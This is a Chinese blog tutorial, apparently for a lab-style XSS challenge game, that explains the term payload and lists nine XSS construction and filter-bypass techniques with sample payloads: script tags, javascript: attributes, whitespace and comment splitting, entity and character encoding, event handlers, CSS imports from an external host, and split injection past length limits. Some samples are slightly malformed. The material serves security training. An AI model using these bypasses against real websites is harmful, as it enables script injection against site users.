请下载好XSS闯关文件后,解压后放在服务器的对应文件夹即可
在该闯关中,会在网页提示一个payload数值
payload,翻译过来是有效载荷

通常在传输数据时,为了使数据传输更可靠,要把原始数据分批传输,并且在每一批数据的头和尾都加上一定的辅助信息,比如数据量的大小、校验位等,这样就相当于给已经分批的原始数据加一些外套,这些外套起标示作用,使得原始数据不易丢失,一批数据加上“外套”就形成了传输通道的基本传输单元,叫做数据帧或数据包,而其中的原始数据就是payload
payload指安全测试数据,即在当前网页上输入后传入的有效数据数

xss构造方法

此段来自: 马开东博客 网址:http://www.makaidong.com


no.1 利用<>标记注射html/javascript
  如果用户能随心所欲引入<>标记,那他就能操作html标记,然后就能通过<script>标签插入js 恶意脚本了,例如:
  <script>alert('xss');</script>
  当然如果对"<>"和script等进行了过滤,上面这个就无法执行了
no.2 利用html标签属性值执行xss
  很多html标记中的属性都支持javascript:[code]伪协议的形式,这就给了注入xss可乘之机,例如:
  <img src = "javascript:alert('xss');">
  这里即便对传入的参数过滤了<>,xss还是能发生(前提是该标签属性需要引用文件)
no.3 空格/回车/tab
  假设过滤函数进一步又过滤了javascript等敏感字符串,只需对javascript进行小小的操作即可绕过,例如:
  <img src = "java  script:alert('xss');" width=100>
  这里之所以能成功绕过,其实还得益于js 自身的性质:javascript通常以分号结尾,如果解析引擎能确定一个语句时完整的,且行尾有换行符,则分号可省略
  而如果不是完整的语句,javascript则会继续处理,直到语句完整结束或分号
  像<img src = "javas
    cript:
    alert(/xss/); width=100> 同样能绕过
no.4 对标签属性值进行转码
  过滤严谨的函数很可能对标签也进行了严格的控制,但是如果用
其他形式表示标签,脚本仍能解析却可以绕过过滤
  常见的编码方式有:html实体编码(&#ascii),十进制、十六进制、八进制编码,unicode编码及escape编码及使用string.fromcharcode(...)绕过
  因此<img src = "javascriptt&#alert(/xss/);">可以实现绕过
  另外还可以把、、 等字符插入代码的头部或任意地方
no.5 产生自己的事件  
  如果不能依靠属性进行跨站,那么还可以利用事件处理函数
  <input type = "button"  value = "click me" onclick="alert('click me')" />
  事件既能让js 脚本运行,自然也可以执行跨站,另外像onerror、onmouseover等都可利用的是事件处理函数
no.6 利用css跨站剖析
  之所以说css样式表是个很不错的载体,是因为css不需要嵌入到html代码中,可以直接从文件或其他地方进行引用. 另外css同样隐蔽、灵活,不过不同浏览器之间不能通用,如:
  <div style = "list-style-image:url(javascript:alert('xss'))">
  <link rel = "stylesheet" href = "http://www.xxx.com/atack.css">
  <style type = 'text/css'>@import url(http://www.xxx.com/xss.css);</style>
  <style>@import 'javascript:alert('xss');'</style>
no.7 扰乱过滤规则
  大小写混用:<img src = "javascript:alert(0);">
  不使用引号或者构造全角字符也能扰乱过滤规则
  还有像css中/**/会被浏览器忽略,\和\0同样或被浏览器忽略,同样可以用来绕过:
  <img src = "java/*javascript:alert('xss')*/script:alert(1);">
no.8 充分使用字符编码
  上面说到过编码,这里加以补充,除了像&#ascii,其实也可以采用�、�、�  等形式,同样j 的形式也是可以的
  <script>eval("\61\6c\65......");<script>
  如果使用eval执行10进制形式的脚本则需要配合string.fromcharcode()使用
no.9 拆分跨站法
  拆分跨站就是像shellcode一样,遇到长度限制不能按正常方式跨站时,通过引入变量多次提交将之连接起来实现跨站,例如:
  <script>z='document.'</script>
  <script>z=+'write'("'</script>
  <script>z=z+'<script'</script>
  ......
  <script>eval(z)</script>   //eval函数可以将字符串的内容直接执行
  另外除了像上面多次提交,也可以引用其他变量如:eval(quserinfo.spacename)形式,由于quserinfo.spacename是可控变量,因此改变其值就可以绕过长度限制了
遵守规则,明白什么地方可变,什么地方不可变
准备进入挑战

XSS闯关游戏准备阶段及XSS构造方法的更多相关文章

  1. 网页闯关游戏(riddle webgame)--SQL注入的潘多拉魔盒

    前言: 之前编写了一个网页闯关游戏(类似Riddle Game), 除了希望大家能够体验一下我的游戏外. 也愿意分享编写这个网页游戏过程中, 学到的一些知识. web开发初学者往往会忽视一些常见的漏洞 ...

  2. 网页闯关游戏(riddle webgame)--H5刮刮卡的原理和实践

    前言: 之前编写了一个网页闯关游戏(类似Riddle Game), 除了希望大家能够体验一下我的游戏外. 也愿意分享编写这个网页游戏过程中, 学到的一些知识. 对于刮刮卡, 想必大家都很熟悉, 也很喜 ...

  3. 网页闯关游戏(riddle webgame)--仿微信聊天的前端页面设计和难点

    前言: 之前编写了一个网页闯关游戏(类似Riddle Game), 除了希望大家能够体验一下我的游戏外. 也愿意分享编写这个网页游戏过程中, 学到的一些知识. 本文讲描述, 如何在网页端实现一个仿微信 ...

  4. 网页闯关游戏(riddle webgame)--游戏玩法和整体介绍

    前言: 记得上大学那会, 有位传说中的大牛, 写了一个网页闯关类的游戏. 当时我们玩得不亦乐乎, 也是第一次接触到这种形式的游戏. 不过当时纯玩家心态, 并没有想过去创造一个. 最近想起这事, 突然想 ...

  5. XSS闯关挑战(1-15)

    第一关 关键代码: 这一关两处的输出都没做任何防护,直接将用户的输入拼接到输出里面. payload: 第二关 使用上一关的payload显示如下 闭合一下标签就好了. 第三关 htmlspecial ...

  6. [第二章 web进阶]XSS闯关-1

    定义:跨站脚本(Cross_Site Scripting,简称为XSS或跨站脚本或跨站脚本攻击)是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种.它允许恶意用户将代码注入网页,其他用户浏览网 ...

  7. 51nod 1450 闯关游戏

    首先肯定要先把所有的关卡打通后去找两星几率最大的关卡刷星(论打游戏经验的重要性). 所以从两星几率小的关打起,记录当前拿到x个星星的几率和当前走过的期望步数,如果发现剩下的关必须全两星,就直接计算答案 ...

  8. 51nod1450 闯关游戏

    题目来源: TopCoder 基准时间限制:1 秒 空间限制:131072 KB 分值: 320 一个游戏App由N个小游戏(关卡)构成,将其标记为0,1,2,..N-1.这些小游戏没有相互制约的性质 ...

  9. hack游戏攻略(黑吧安全吧的黑客闯关游戏)古墓探秘

    2019.2.11 这个是找到的一个黑客游戏,就是一关一关,挺像ctf的,玩玩也挺有意思,还能涨知识. 地址:http://hkyx.myhack58.com/ 入口: 入口就是这样的.提示是 图内有 ...

随机推荐

  1. Linux下添加windows字体

    在Linux下使用wqy字体,在视觉效果上就已近很好了,其实没有必要添加windows字体.但是显然有些人(比如领导,^..^)就喜欢宋体.楷体,所以添加windows字体有时还是需要的,幸运的是这件 ...

  2. 利用SQL注入漏洞登录后台

    所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询 ...

  3. Practical Mathematical Handwriting

    In this article, I discuss the handwriting of $\mathbb{A}, \mathcal{A}, \mathscr{A}, \mathfrak{A}$'s ...

  4. OracleSql语句学习(三)

    --在SELECT子句中出现的函数或表达式会在结果集中作为字段名,这样的可读性差,因此可以为--这样的字段添加别名(别名中不能出现空隔,除非是用双引号括起来的)--别名中如果希望包含空隔或者区分大小写 ...

  5. Laravel 框架结构 以及目录文件解读(学习笔记)

    composer下载Laravel 5.4(由于PHP版本仅7.0,故未下载5.6) composer create-project laravel/laravel your-project-name ...

  6. Java 显示读取properties 乱码解决方案

    项目开发时,在配置springmvc 校验错误提示信息时,配置到properties的中文,在前端取出时,显示为乱码,可以确定properties 配置文件已经被设为UTF-8编码,在springmv ...

  7. OTZ%%%子谦。大佬

    又上了节课...俩题 计算系数    组合数问题... 要不是大佬指点就只能阶乘暴力算了 (主要还是我忘了杨辉三角) 杨辉三角与组合数C有着千丝万缕的联系,在计算,使用方面相当方便. 先说计算系数 计 ...

  8. 【XSY2849】陈姚班 平面图网络流 最短路 DP

    题目描述 有一个\(n\)行\(m\)列的网格图. \(S\)到第一行的每一个点都有一条单向边,容量为\(\infty\). 最后一行的每个点到\(T\)都有一条单向边,容量为\(\infty\). ...

  9. vsftp配置文件详解

    匿名用户相关参数 anonymous_enable=YES # 是否允许匿名用户登陆 no_anon_password=NO # 是否忽略对匿名用户的密码检测 anon_root # 匿名登陆后尝试更 ...

  10. [BJOI2019]勘破神机

    [BJOI2019]勘破神机 推式子好题 m=2,斐波那契数列,$f_{n+1}$项 不妨$++l,++r$,直接求$f_n$ 求$\sum C(f_n,k)$,下降幂转化成阶乘幂,这样都是多项式了, ...